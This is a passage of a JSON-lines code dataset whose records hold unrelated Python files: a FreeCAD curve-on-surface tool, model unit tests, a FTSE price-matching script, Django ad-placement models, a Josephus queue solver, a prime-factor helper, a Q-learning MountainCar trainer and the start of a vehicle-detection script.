obj.addProperty(\"App::PropertyBool\", \"ReverseNormal\", \"CurveOnSurface\", \"Reverse normal\").ReverseNormal = False\n obj.addProperty(\"App::PropertyBool\", \"ReverseBinormal\",\"CurveOnSurface\", \"Reverse binormal\").ReverseBinormal = False\n obj.addProperty(\"Part::PropertyPartShape\", \"Shape\", \"Base\", \"Shape\")\n obj.Proxy = self\n\n def getEdge(self, obj):\n res = None\n if hasattr(obj, \"InputEdge\"):\n o = obj.InputEdge[0]\n ss = obj.InputEdge[1][0]\n n = eval(ss.lstrip('Edge'))\n res = o.Shape.Edges[n-1]\n return(res)\n\n def getFace(self, obj):\n res = None\n if hasattr(obj, \"Face\"):\n o = obj.Face[0]\n ss = obj.Face[1][0]\n n = eval(ss.lstrip('Face'))\n res = o.Shape.Faces[n-1]\n return(res)\n\n def execute(self, obj):\n edge = self.getEdge(obj)\n face = self.getFace(obj)\n cos = curveOnSurface.curveOnSurface(edge, face)\n cos.reverseTangent = obj.ReverseTangent\n cos.reverseNormal = obj.ReverseNormal\n cos.reverseBinormal = obj.ReverseBinormal\n #e2d = cos.curve2D\n obj.Shape = cos.edgeOnFace\n\nclass cosVP:\n def __init__(self,vobj):\n vobj.addProperty(\"App::PropertyInteger\", \"Samples\", \"CurveOnSurface\", \"Samples\").Samples=64\n vobj.addProperty(\"App::PropertyFloat\", \"Scale\", \"CurveOnSurface\", \"Scale\").Scale=1.0\n vobj.Proxy = self\n\n def getEdge(self, obj):\n res = None\n try:\n o = obj.InputEdge[0]\n ss = obj.InputEdge[1][0]\n n = eval(ss.lstrip('Edge'))\n res = o.Shape.Edges[n-1]\n except:\n pass\n return(res)\n\n def getFace(self, obj):\n res = None\n try:\n o = obj.Face[0]\n ss = obj.Face[1][0]\n n = eval(ss.lstrip('Face'))\n res = o.Shape.Faces[n-1]\n except:\n pass\n return(res)\n\n def getIcon(self):\n return (path_curvesWB_icons+'/curveOnSurface.svg')\n\n def attach(self, vobj):\n self.ViewObject = vobj\n self.Object = vobj.Object\n #self.wireframeDM = coin.SoGroup()\n self.normalDM = coin.SoGroup()\n self.binormalDM = coin.SoGroup()\n self.bothDM = coin.SoGroup()\n \n self.normCoords = CoinNodes.coordinate3Node()\n self.binormCoords = CoinNodes.coordinate3Node()\n self.curveCoords = CoinNodes.coordinate3Node()\n \n self.normComb = CoinNodes.combComb(color = (0.,0.3,0.), lineWidth = 1.0)\n self.normCurve = CoinNodes.combCurve(color = (0.,0.7,0.), lineWidth = 1.0)\n \n self.binormComb = CoinNodes.combComb(color = (0.,0.,0.3), lineWidth = 1.0)\n self.binormCurve = CoinNodes.combCurve(color = (0.,0.,0.7), lineWidth = 1.0)\n \n self.curve = CoinNodes.polygonNode(color = (0.,0.,0.), lineWidth = 1.0)\n \n self.normComb.linkTo(self.normCoords)\n self.normCurve.linkTo(self.normCoords)\n \n self.binormComb.linkTo(self.binormCoords)\n self.binormCurve.linkTo(self.binormCoords)\n \n #self.wireframeDM.addChild(self.curveCoords)\n #self.wireframeDM.addChild(self.curve)\n self.normalDM.addChild(self.curveCoords)\n self.normalDM.addChild(self.curve)\n self.binormalDM.addChild(self.curveCoords)\n self.binormalDM.addChild(self.curve)\n \n self.normalDM.addChild(self.normCoords)\n self.normalDM.addChild(self.normComb)\n self.normalDM.addChild(self.normCurve)\n \n self.binormalDM.addChild(self.binormCoords)\n self.binormalDM.addChild(self.binormComb)\n self.binormalDM.addChild(self.binormCurve)\n \n self.bothDM.addChild(self.normalDM)\n self.bothDM.addChild(self.binormalDM)\n \n #vobj.addDisplayMode(self.wireframeDM,\"Wireframe\")\n vobj.addDisplayMode(self.normalDM, \"Normal\")\n vobj.addDisplayMode(self.binormalDM, \"Binormal\")\n vobj.addDisplayMode(self.bothDM, \"Normal Binormal\")\n\n def updateData(self, fp, prop):\n edge = self.getEdge(self.Object)\n face = self.getFace(self.Object)\n #if edge == None or face == None:\n #return\n cos = curveOnSurface.curveOnSurface(edge, face)\n if True: #cos.isValid:\n cos.reverseTangent = fp.ReverseTangent\n cos.reverseNormal = fp.ReverseNormal\n cos.reverseBinormal = fp.ReverseBinormal\n ParamRange = cos.lastParameter - cos.firstParameter\n val = []\n nor = []\n bino = []\n for i in range(self.ViewObject.Samples):\n t = cos.firstParameter + (1.0 * i * ParamRange / (self.ViewObject.Samples - 1))\n v = cos.valueAt(t)\n val.append(v)\n nor.append(v)\n nor.append(v.add(cos.normalAt(t).multiply(self.ViewObject.Scale)))\n bino.append(v)\n bino.append(v.add(cos.binormalAt(t).multiply(self.ViewObject.Scale)))\n self.curveCoords.points = val\n self.curve.vertices = val\n self.normCoords.points = nor\n self.binormCoords.points = bino\n\n \n def getDisplayModes(self,obj):\n \"Return a list of display modes.\"\n modes=[]\n #modes.append(\"Wireframe\")\n modes.append(\"Normal\")\n modes.append(\"Binormal\")\n modes.append(\"Normal Binormal\")\n return modes\n\n def getDefaultDisplayMode(self):\n \"Return the name of the default display mode. It must be defined in getDisplayModes.\"\n return \"Normal Binormal\"\n\n def setDisplayMode(self,mode):\n return mode\n\n def onChanged(self, vp, prop):\n \"Here we can do something when a single property got changed\"\n if prop == \"Samples\":\n debug(\"vp detected a Samples change\")\n if vp.Samples < 2:\n vp.Samples = 2\n elif vp.Samples > 1000:\n vp.Samples = 1000\n if prop == \"Scale\":\n debug(\"vp detected a Scale change\")\n if vp.Scale <= 0.0:\n vp.Scale = 0.0001\n elif vp.Scale > 1000:\n vp.Scale = 1000\n self.updateData(vp.Object,\"Scale\")\n\n \n def setEdit(self,vobj,mode):\n return False\n \n def unsetEdit(self,vobj,mode):\n return\n\n def __getstate__(self):\n return None\n\n def __setstate__(self,state):\n return None\n\n #def claimChildren(self):\n #return([self.Object.InputEdge[0], self.Object.Face[0]])\n \n def onDelete(self, feature, subelements): # subelements is a tuple of strings\n #try:\n #self.Object.Base.ViewObject.show()\n #self.Object.Tool.ViewObject.show()\n #except Exception as err:\n #App.Console.PrintError(\"Error in onDelete: \" + err.message)\n return True\n\n\nclass cosCommand:\n \"joins the selected edges into a single BSpline Curve\"\n def Activated(self):\n edge = None\n face = None\n sel = FreeCADGui.Selection.getSelectionEx()\n if sel == []:\n FreeCAD.Console.PrintError(\"Select an edge and its supporting face \\n\")\n for selobj in sel:\n if selobj.HasSubObjects:\n for i in range(len(selobj.SubObjects)):\n if isinstance(selobj.SubObjects[i], Part.Edge):\n edge = (selobj.Object, selobj.SubElementNames[i])\n elif isinstance(selobj.SubObjects[i], Part.Face):\n face = (selobj.Object, selobj.SubElementNames[i])\n print(edge)\n print(face)\n if edge and face:\n cos = FreeCAD.ActiveDocument.addObject(\"Part::FeaturePython\",\"CurveOnSurface\")\n cosFP(cos)\n cosVP(cos.ViewObject)\n cos.InputEdge = edge\n cos.Face = face\n cos.Placement = edge[0].Placement\n FreeCAD.ActiveDocument.recompute()\n \n #cos.ViewObject.DrawStyle = \"Dashed\"\n #cos.ViewObject.LineColor = (1.0,0.67,0.0)\n #cos.ViewObject.LineWidth = 3.0\n else:\n FreeCAD.Console.PrintError(\"Select an edge and its supporting face \\n\")\n\n\n def GetResources(self):\n return {'Pixmap' : path_curvesWB_icons+'/curveOnSurface.svg', 'MenuText': 'CurveOnSurface', 'ToolTip': 'Create a curve on surface object'}\n\nFreeCADGui.addCommand('cos', cosCommand())\n","sub_path":"curveOnSurfaceFP.py","file_name":"curveOnSurfaceFP.py","file_ext":"py","file_size_in_byte":9534,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"42995270","text":"import unittest\nfrom app.models import User, Role, Permission, AnonymousUser, \\\n ActivityLog, Activity, StudentStatus, Status, Room, Student, Parent, StudentParent\n\n\nclass StudentModelTestCase(unittest.TestCase):\n def test_activity_logging(self):\n s = Student(first_name='billy')\n act1 = Activity(activity_name='nap')\n act_entry1 = ActivityLog(student_id=s.student_id, activity_id=act1.activity_id)\n s.activity.append(act_entry1)\n act1.student.append(act_entry1)\n act_entry2 = ActivityLog(student_id=s.student_id, activity_id=act1.activity_id)\n s.activity.append(act_entry2)\n act1.student.append(act_entry2)\n self.assertTrue(len(s.activity) == 2)\n\n def test_status_logging(self):\n s = Student(first_name='billy')\n stat1 = Status(status_name='Lead')\n stat2 = Status(status_name='Active')\n stat_entry1 = StudentStatus(student_id=s.student_id, status_id=stat1.status_id)\n s.status.append(stat_entry1)\n stat1.student.append(stat_entry1)\n stat_entry2 = StudentStatus(student_id=s.student_id, status_id=stat2.status_id)\n s.status.append(stat_entry2)\n stat2.student.append(stat_entry2)\n stat_entry3 = StudentStatus(student_id=s.student_id, status_id=stat1.status_id)\n s.status.append(stat_entry3)\n stat1.student.append(stat_entry3)\n self.assertTrue(len(s.status) == 3)\n\n def test_room_allocation(self):\n r1 = Room(room_name=\"Demo Room 1\")\n r2 = Room(room_name=\"Demo Room 2\")\n s1 = Student(first_name=\"billy\")\n s2 = Student(first_name=\"bella\")\n s3 = Student(first_name=\"mikes\")\n s1.room = r1\n s2.room = r1\n s3.room = r2\n self.assertTrue(s1 in r1.students)\n self.assertTrue(s2 in r1.students)\n self.assertTrue(s3 in r2.students)\n","sub_path":"tests/test_student_model.py","file_name":"test_student_model.py","file_ext":"py","file_size_in_byte":1863,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"576279120","text":"import pandas as pd\n\n#load data\ndata = pd.read_csv(r'C:\\Users\\Allan W MacLeod\\PycharmProjects\\Pull_IB_Data\\CSV database\\LSE_Financials_FTSE100.csv')\nprice=pd.read_csv(r'C:\\Users\\Allan W MacLeod\\PycharmProjects\\Pull_IB_Data\\CSV database\\FTSEPriceHistory.csv')\n\n#controls to search data\n#problem sectors\nslice_by='Sector'\nvariable_to_search=' Technology '\n\n#slicing the data, uncomment to slice\n#data_v2=data[data[slice_by] == variable_to_search]\ndata_v2=data\n#fundamental to look at\nFundamental='Dividend_per_Share'\nFundamental2='EPS_Basic_from_Continued_Ops'\n\n#append data onto data set for reduced set\ndata_v2=data_v2[['EPIC','Company_Name','Sector','SubSector','Financial_YE','Curreny',Fundamental,Fundamental2]]\n\n#get the names in the sliced subset\nnames=data_v2['EPIC']\n#delete duplicates and use this to loop\nnames_group = names.drop_duplicates()\n\n#this sets up the new data frame to be populated\nnew_df = pd.DataFrame(columns=['EPIC', 'YE date','Price','Price date'])\n\n\n\n#this will loop throught the indiviaul names in the selections and lopp creating names and dates for relevant ticker\nfor single_name in names_group:\n #for the single name make a smaller subset\n intereste_data=data_v2[data_v2['EPIC'] == single_name]\n intereste_dates=intereste_data['Financial_YE']\n #subset the price info based ont the ticker of interest\n interested_price=price[['date',single_name]]\n\n for dates_single in intereste_dates:\n # This says what we're searching by\n slice_by = 'date'\n # from the loop set up it will go through all these single names\n variable_to_search2 = dates_single\n\n # this extracts the data based on name\n print(single_name)\n print('first data')\n print(variable_to_search2)\n price_at_YE = interested_price[interested_price[slice_by] == variable_to_search2]\n\n # this checks for empty, likley if it falls on the weekedn and then moves back two days\n new_date=dates_single\n if price_at_YE.empty:\n # converts the missing entry\n day = int(str(variable_to_search2)[:2])\n month = int(str(variable_to_search2)[3:5])\n year = int(str(variable_to_search2)[6:10])\n # moves the day back two days so it's a weekday with prices\n new_day = day - 1\n if month < 10:\n print('for month')\n month='0' + str(month)\n print(month)\n if new_day < 10:\n print('for day')\n new_day ='0' + str(new_day)\n\n new_date = (str(new_day) + '/' + str(month) + '/' + str(year))\n\n variable_to_search3 = new_date\n print('second date')\n print(variable_to_search3)\n price_at_YE = interested_price[interested_price[slice_by] == variable_to_search3]\n # this checks if still empty, likley if it falls on the weekend and then moves back 3\n if price_at_YE.empty:\n new_day = day - 2\n if new_day < 1:\n new_day = day + 2\n # adds in leading zero if it's missing for the month\n month=int(month)\n new_day=int(new_day)\n print(month)\n if month < 10:\n month = '0' + str(month)\n if new_day < 10:\n new_day = '0' + str(new_day)\n\n new_date = (str(new_day) + '/' + str(month) + '/' + str(year))\n\n variable_to_search4 = new_date\n print('third date')\n print(variable_to_search4)\n\n price_at_YE = interested_price[interested_price[slice_by] == variable_to_search4]\n\n #loop again for anotherinteration\n if price_at_YE.empty:\n new_day = day - 3\n if new_day < 1:\n new_day = day + 3\n # adds in leading zero if it's missing for the month\n month=int(month)\n new_day=int(new_day)\n print(month)\n if month < 10:\n month = '0' + str(month)\n if new_day < 10:\n new_day = '0' + str(new_day)\n\n new_date = (str(new_day) + '/' + str(month) + '/' + str(year))\n\n variable_to_search5 = new_date\n print('fourth date')\n print(variable_to_search5)\n #print(price_at_YE)\n price_at_YE = interested_price[interested_price[slice_by] == variable_to_search5]\n\n # extract the price data\n price_at_YE = price_at_YE.iloc[0, 1]\n\n # creats a row to add to the data frame\n new_row = {'EPIC': single_name, 'YE date': dates_single, 'Price': price_at_YE, 'Price date':new_date}\n # adds to data frame\n new_df = new_df.append(new_row, ignore_index=True)\n\nprint(new_df)\nnew_df.to_csv( variable_to_search+' price.csv')\n#new_df.to_csv('All price.csv')\n","sub_path":"Import and data management/Price_at_YE.py","file_name":"Price_at_YE.py","file_ext":"py","file_size_in_byte":4938,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"262954560","text":"\"Models for managing site sections and ad placements.\"\nfrom __future__ import unicode_literals\n\nfrom django.core.cache import cache\nfrom django.db import models\nfrom django.db.models.signals import post_save, post_delete, pre_delete\nfrom django.dispatch import receiver\nfrom django.utils.encoding import python_2_unicode_compatible\n\nfrom .conf import PLACEHOLDER_TEMPLATE\nfrom .conf import CACHE_TIMEOUT, SECTION_CACHE_KEY, PLACEMENTS_KEY_FORMAT\nfrom .validators import validate_pattern\n\n\n@python_2_unicode_compatible\nclass Section(models.Model):\n \"A grouping of site urls.\"\n\n name = models.CharField(max_length=100)\n slug = models.SlugField(max_length=100, unique=True)\n pattern = models.CharField(max_length=200, validators=[validate_pattern, ])\n priority = models.PositiveSmallIntegerField(default=0)\n\n def __str__(self):\n return self.name\n\n\ndef retrieve_all_sections():\n \"Get all sections from the cache or query the database.\"\n sections = cache.get(SECTION_CACHE_KEY, None)\n if sections is None:\n sections = Section.objects.order_by('-priority')\n if CACHE_TIMEOUT:\n sections = list(sections)\n cache.set(SECTION_CACHE_KEY, sections, CACHE_TIMEOUT)\n return sections\n\n\n@receiver(post_save, sender=Section)\n@receiver(post_delete, sender=Section)\ndef cycle_sections_cache(sender, **kwargs):\n \"Delete and restore section info in the cache.\"\n cache.delete(SECTION_CACHE_KEY)\n if CACHE_TIMEOUT:\n retrieve_all_sections()\n\n\n@python_2_unicode_compatible\nclass Size(models.Model):\n \"Common Ad size.\"\n\n name = models.CharField(max_length=100)\n width = models.PositiveSmallIntegerField()\n height = models.PositiveSmallIntegerField()\n\n def __str__(self):\n return '{0} {1}x{2}'.format(self.name, self.width, self.height)\n\n\n@python_2_unicode_compatible\nclass Placement(models.Model):\n \"Ad to be rendered in given sections.\"\n\n name = models.CharField(max_length=100)\n slug = models.SlugField(max_length=100, unique=True)\n remote_id = models.CharField(max_length=200, blank=True, default='')\n size = models.ForeignKey(Size, related_name='placements')\n sections = models.ManyToManyField(Section, blank=True, related_name='placements')\n\n def __str__(self):\n return '{0} ({1})'.format(self.name, self.size)\n\n @property\n def placeholder(self):\n size = {'width': self.width, 'height': self.height}\n return PLACEHOLDER_TEMPLATE.format(**size)\n\n @property\n def width(self):\n return self.size.width\n\n @property\n def height(self):\n return self.size.height\n\n\ndef retrieve_section_placements(section):\n \"Get all placements for the section from the cache or query the database.\"\n cache_key = PLACEMENTS_KEY_FORMAT.format(section.pk)\n placements = cache.get(cache_key, None)\n if placements is None:\n placements = Placement.objects.filter(sections=section).select_related('size')\n if CACHE_TIMEOUT:\n placements = list(placements)\n cache.set(cache_key, placements, CACHE_TIMEOUT)\n return placements\n\n\ndef _update_placement_cache(placement, replace=True):\n \"Remove placement from related section caches. Replace if requested.\"\n if CACHE_TIMEOUT:\n for section in placement.sections.all():\n cache_key = PLACEMENTS_KEY_FORMAT.format(section.pk)\n placements = cache.get(cache_key, [])\n try:\n placements.remove(placement)\n except ValueError:\n # Placement not in the list\n pass\n if replace:\n placements.append(placement)\n cache.set(cache_key, placements, CACHE_TIMEOUT)\n\n\n@receiver(post_save, sender=Placement)\ndef save_placement_handler(sender, instance, **kwargs):\n \"Add or update the placement in the caches.\"\n _update_placement_cache(placement=instance, replace=True)\n\n\n@receiver(pre_delete, sender=Placement)\ndef delete_placement_handler(sender, instance, **kwargs):\n \"Remove the placement from the section caches.\"\n _update_placement_cache(placement=instance, replace=False)\n","sub_path":"adcode/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":4134,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"243073004","text":"import sys\nimport time\n\nclass Queue(object):\n # def __init__(self, nsize):\n # super().__init__()\n # self.array = [None] * nsize\n # self.arraysize = len(self.array)\n\n # self.frontidx = 0\n # self.backidx = 0\n # self.itemsize = 0\n\n def __init__(self, data):\n super().__init__()\n self.array = data\n self.arraysize = len(self.array)\n\n self.frontidx = 0\n self.backidx = 0\n self.itemsize = 0\n\n def put(self, item):\n # if self.itemsize >= self.arraysize:\n # raise RuntimeError(\"This queue doesn't support array expansion!\")\n self.array[self.backidx] = item\n self.backidx = (self.backidx + 1) % self.arraysize\n self.itemsize += 1\n\n def get(self):\n # if self.itemsize <= 0:\n # raise RuntimeError(\"No item to serve!\")\n item = self.array[self.frontidx]\n self.frontidx = (self.frontidx + 1) % self.arraysize\n self.itemsize -= 1\n return item\n\n def empty(self):\n return self.itemsize == 0\n\n\n[people_num, kth_removal] = [int(s) for s in sys.stdin.readline().rstrip().split(\" \")]\n\n# people_queue = Queue(people_num)\n# for people_id in range(1, people_num + 1):\n# people_queue.put(people_id)\n\nbegin = time.time()\npeople_queue = Queue(list(range(1, people_num + 1)))\n\nresult = []\nfor _ in range(people_num):\n for _k in range(kth_removal - 1):\n people_queue.put(people_queue.get()) # k-1 items\n result.append(people_queue.get())\n\nprint(result.__str__().replace('[', '<').replace(']', '>'))\nend = time.time()\nprint(f'Execution Time: {end - begin}')","sub_path":"baekjoon/2주차/1158-요세푸스-문제/정인/1158-v3-queue.py","file_name":"1158-v3-queue.py","file_ext":"py","file_size_in_byte":1635,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"3585699","text":"# Copyright 2015 Vinicius Chiele. All rights reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nfrom urllib.parse import urlparse\nfrom urllib.parse import parse_qsl\nfrom . import timezone\nfrom .enums import ClientType\n\n\nclass Client(object):\n name = None\n client_id = None\n client_secret = None\n client_type = None\n redirect_uris = None\n allowed_grant_types = None\n default_scope = None\n skip_authorization = None\n\n def __init__(self, name, client_id, client_secret, redirect_uris,\n client_type=None, allowed_grant_types=None, default_scope=None, skip_authorization=None):\n self.name = name\n self.client_id = client_id\n self.client_secret = client_secret\n self.redirect_uris = redirect_uris or ''\n self.client_type = client_type or ClientType.confidential\n self.allowed_grant_types = allowed_grant_types or ''\n self.default_scope = default_scope or ''\n self.skip_authorization = skip_authorization or False\n\n def default_redirect_uri(self):\n if not self.redirect_uris:\n return None\n return self.redirect_uris.split()[0]\n\n def redirect_uri_allowed(self, uri):\n if not self.redirect_uris:\n return False\n\n for allowed_uri in self.redirect_uris.split():\n parsed_allowed_uri = urlparse(allowed_uri)\n parsed_uri = urlparse(uri)\n\n if (parsed_allowed_uri.scheme == parsed_uri.scheme and\n parsed_allowed_uri.netloc == parsed_uri.netloc and\n parsed_allowed_uri.path == parsed_uri.path):\n\n aqs_set = set(parse_qsl(parsed_allowed_uri.query))\n uqs_set = set(parse_qsl(parsed_uri.query))\n\n if aqs_set.issubset(uqs_set):\n return True\n\n return False\n\n def to_dict(self):\n return dict(name=self.name,\n client_id=self.client_id,\n client_secret=self.client_secret,\n client_type=self.client_type,\n redirect_uris=self.redirect_uris,\n allowed_grant_types=self.allowed_grant_types,\n default_scope=self.default_scope,\n skip_authorization=self.skip_authorization)\n\n\nclass Grant(object):\n client_id = None\n user_id = None\n code = None\n expires_at = None\n redirect_uri = None\n scope = None\n\n def __init__(self, client_id, user_id, code, expires_at, redirect_uri, scope):\n self.client_id = client_id\n self.user_id = user_id\n self.code = code\n self.expires_at = expires_at\n self.redirect_uri = redirect_uri\n self.scope = scope\n\n def expires_in(self):\n if not self.expires_at:\n return None\n time_left = int((self.expires_at - timezone.now()).total_seconds())\n if time_left > 0:\n return time_left\n return 0\n\n def is_expired(self):\n return self.expires_in() == 0\n\n def redirect_uri_allowed(self, uri):\n if not self.redirect_uri:\n return False\n\n parsed_allowed_uri = urlparse(self.redirect_uri)\n parsed_uri = urlparse(uri)\n\n if (parsed_allowed_uri.scheme == parsed_uri.scheme and\n parsed_allowed_uri.netloc == parsed_uri.netloc and\n parsed_allowed_uri.path == parsed_uri.path):\n\n aqs_set = set(parse_qsl(parsed_allowed_uri.query))\n uqs_set = set(parse_qsl(parsed_uri.query))\n\n if aqs_set.issubset(uqs_set):\n return True\n\n return False\n\n def to_dict(self):\n return dict(client_id=self.client_id,\n user_id=self.user_id,\n code=self.code,\n expires_at=self.expires_at,\n redirect_uri=self.redirect_uri,\n scope=self.scope)\n\n\nclass Token(object):\n client_id = None\n user_id = None\n access_token = None\n expires_at = None\n scope = None\n refresh_token = None\n\n def __init__(self, client_id, user_id, access_token, expires_at, scope, refresh_token=None):\n self.client_id = client_id\n self.user_id = user_id\n self.access_token = access_token\n self.expires_at = expires_at\n self.scope = scope\n self.refresh_token = refresh_token\n\n def allow_scopes(self, scopes):\n \"\"\"\n Check if the token allows the provided scopes\n :param scopes: An iterable containing the scopes to check\n \"\"\"\n if not scopes:\n return True\n\n if not self.scope:\n return False\n\n provided_scopes = set(self.scope.split())\n resource_scopes = set(scopes)\n\n return resource_scopes.issubset(provided_scopes)\n\n def expires_in(self):\n if not self.expires_at:\n return None\n time_left = int((self.expires_at - timezone.now()).total_seconds())\n if time_left > 0:\n return time_left\n return 0\n\n def is_expired(self):\n \"\"\"\n Check token expiration with timezone awareness\n \"\"\"\n return self.expires_in() == 0\n\n def is_valid(self, scopes=None):\n \"\"\"\n Checks if the access token is valid.\n :param scopes: An iterable containing the scopes to check or None\n \"\"\"\n return not self.is_expired() and self.allow_scopes(scopes)\n\n def to_dict(self):\n return dict(client_id=self.client_id,\n user_id=self.user_id,\n access_token=self.access_token,\n expires_at=self.expires_at,\n scope=self.scope,\n refresh_token=self.refresh_token)\n","sub_path":"flask_oauth/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":6185,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"320915259","text":"# Get the prime factors of a number in the form of a list\n# for more info on this quiz, go to this url: http://www.programmr.com/factors-number\n\n\ndef is_prime_number(x):\n\tif x >= 2:\n\t\tfor y in range(2, x):\n\t\t\tif not (x % y):\n\t\t\t\treturn False\n\t\treturn True\n\telse:\n\t\treturn False\n\n\ndef prime_factors(x_num):\n\tfact_lst = []\n\ttry:\n\t\tfor i in range(2, x_num):\n\t\t\tif x_num % i == 0:\n\t\t\t\tif is_prime_number(i):\n\t\t\t\t\tfact_lst.append(i)\n\t\treturn fact_lst\n\texcept TypeError:\n\t\treturn \"Wrong data type:X_num expected as an integer\"\n\n\nif __name__ == \"__main__\":\n\tprint(prime_factors(0))\n","sub_path":"loops_09/factors_of_a_number.py","file_name":"factors_of_a_number.py","file_ext":"py","file_size_in_byte":575,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"189740155","text":"#!/usr/bin/python\n# -*- coding: utf-8 -*-\n\"\"\"\n@author : Romain Graux\n@date : Friday, 17 April 2020\n\"\"\"\n\nimport os\nimport gym\nimport random\nimport numpy as np\nimport tensorflow as tf\nimport matplotlib.pyplot as plt\n\n\n# Global variables\nenv = gym.make('MountainCar-v0')\n\ndiscount_factor = 0.95 # discount factor\nrender_frequency = 1000\nepochs = 25_000\n\ndiscrete_observation_shape = (25, 25)\n\nepsilon_high = 0.95\nepsilon_low = 0.1\nepsilon_decay = epochs//4\n\nlearning_rate_high = 0.3\nlearning_rate_low = 0.05\nlearning_rate_decay = epochs//10\n\n# Training\n\ndef get_finite_state(state):\n discrete_state = ((state - env.observation_space.low)/ (env.observation_space.high - env.observation_space.low))* discrete_observation_shape\n return tuple(discrete_state.astype(int))\n\nif not os.path.exists('save_numpy'):\n os.makedirs('save_numpy')\n\nNAME = f'QL-MountainCar_{discrete_observation_shape}_LRMIN={learning_rate_low}_LRMAX={learning_rate_high}_LRDECAY={learning_rate_decay}_EPMIN={epsilon_low}_EPMAX={epsilon_high}_EPDECAY={epsilon_decay}'\nWRITER = tf.summary.create_file_writer(f'tensorboard/{NAME}')\n\nepsilon = epsilon_high\nlearning_rate = learning_rate_high\n\nqtable = np.random.uniform(low=-2, high=0, size=(discrete_observation_shape + (env.action_space.n,)))\n# qtable = np.load('./save_numpy/baseline_without_epsilon_(20, 20, 3).npy') ; epsilon = 0; epsilon_low=0; epsilon_high=0\n\nreward_list = []\nloss_list = []\n\nfor episode in range(epochs):\n done = False\n reward_values = []\n loss_values = []\n finite_state = get_finite_state(env.reset())\n step = 0\n REACH = False\n while not done:\n if episode % render_frequency == 0: env.render()\n if random.random() < epsilon:\n action = random.randint(0, env.action_space.n-1)\n else:\n action = np.argmax(qtable[finite_state])\n next_state, reward, done, info = env.step(action)\n\n if next_state[0] > env.goal_position:\n REACH = True\n qtable[finite_state + (action,)] = 0\n loss = 0\n else:\n next_finite_state = get_finite_state(next_state)\n target_q = (reward + discount_factor * np.max(qtable[next_finite_state + (action,)]))\n loss = abs(qtable[finite_state + (action,)] - target_q)\n qtable[finite_state + (action,)] = (1 - learning_rate)*qtable[finite_state + (action,)] + learning_rate * target_q\n\n loss_values += [loss]\n reward_values += [reward]\n\n step += 1\n finite_state = next_finite_state\n\n reward_list += [np.sum(reward_values)]\n loss_list += [np.mean(loss_values)]\n\n with WRITER.as_default():\n tf.summary.scalar(\"loss\", loss_list[-1], step=episode)\n tf.summary.scalar(\"reward\", reward_list[-1], step=episode)\n tf.summary.scalar(\"reach_goal\", int(REACH), step=episode)\n tf.summary.scalar(\"learning_rate\", learning_rate, step=episode)\n tf.summary.scalar(\"epsilon\", epsilon, step=episode)\n\n print(f'episode {episode+1}/{epochs} : reward {reward_list[-1]} : loss {loss_list[-1]:.2f}: step {step} : epsilon {epsilon:.3f} : lr {learning_rate:.3f} : reach goal {REACH}')\n\n epsilon = epsilon_low + (epsilon_high - epsilon_low)*np.exp(-episode/epsilon_decay)\n learning_rate = learning_rate_low + (learning_rate_high - learning_rate_low)*np.exp(-episode/learning_rate_decay)\n\nnp.save(f'save_numpy/{NAME}', qtable)\nenv.close()\n\ndef plot_array(array):\n fig = plt.figure()\n ax = fig.add_subplot(111, projection='3d')\n m, n, l = array.shape\n low = env.observation_space.low\n high = env.observation_space.high\n x,y,z = np.meshgrid(np.linspace(low[0], high[0], m), np.linspace(low[1], high[1], n), np.arange(l))\n sca = ax.scatter(x,y,z, c=array)\n ax.set_zticks([0,1,2]); ax.set_zticklabels(['Left', 'No push', 'Right'])\n ax.set_xlabel('Position')\n ax.set_ylabel('Velocity')\n ax.set_zlabel('Action')\n cbar=plt.colorbar(sca)\n plt.show()\n\ndef plot_max_array(array):\n fig = plt.figure()\n plt.title('Representation by action')\n m, n, l = array.shape\n low = env.observation_space.low\n high = env.observation_space.high\n argmax = np.argmax(array, axis=2)\n ret = plt.imshow(argmax)\n plt.xticks(np.arange(m), list(map(lambda x:'%.2f'%x, np.linspace(low[0], high[0], m))))\n plt.yticks(np.arange(n), list(map(lambda x:'%.2f'%x, np.linspace(low[1], high[1], n))))\n plt.xlabel('Position')\n plt.ylabel('Velocity')\n cbar=plt.colorbar(ret)\n cbar.set_ticks([0,1,2])\n cbar.set_ticklabels(['Left', 'No push', 'Right'])\n plt.show()\n\nplot_max_array(qtable)\n# plot_array(qtable)\n","sub_path":"deprecated/src/Q-Learning/QL-MountainCar.py","file_name":"QL-MountainCar.py","file_ext":"py","file_size_in_byte":4618,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"468074932","text":"\nimport glob #函数功能:匹配所有的符合条件的文件,并将其以list的形式返回。\nfrom collections import deque\nfrom seaborn import heatmap\nfrom scipy.ndimage.measurements import label\nfrom skimage.feature import hog\nimport matplotlib.image as mpimg\nimport numpy as np\nfrom sklearn.model_selection import train_test_split\nimport cv2\nfrom sklearn.metrics import confusion_matrix\nfrom sklearn.svm import LinearSVC\n\ncar_path='../data/vehicles/vehicles/**/*.png'\nnoncar_path='../data/non-vehicles/non-vehicles/GTI/*.png'\ncar_images=glob.glob(car_path)\nnoncar_images=glob.glob(noncar_path)\n\ndef hog_feature(images, cspace='RGB', hog_channel=0):\n features = []\n for image in images:\n image = mpimg.imread(image)\n if cspace != 'RGB':\n if cspace == 'HSV':\n feature_image = cv2.cvtColor(image, cv2.COLOR_RGB2HSV)\n elif cspace == 'LUV':\n feature_image = cv2.cvtColor(image, cv2.COLOR_RGB2LUV)\n elif cspace == 'HLS':\n feature_image = 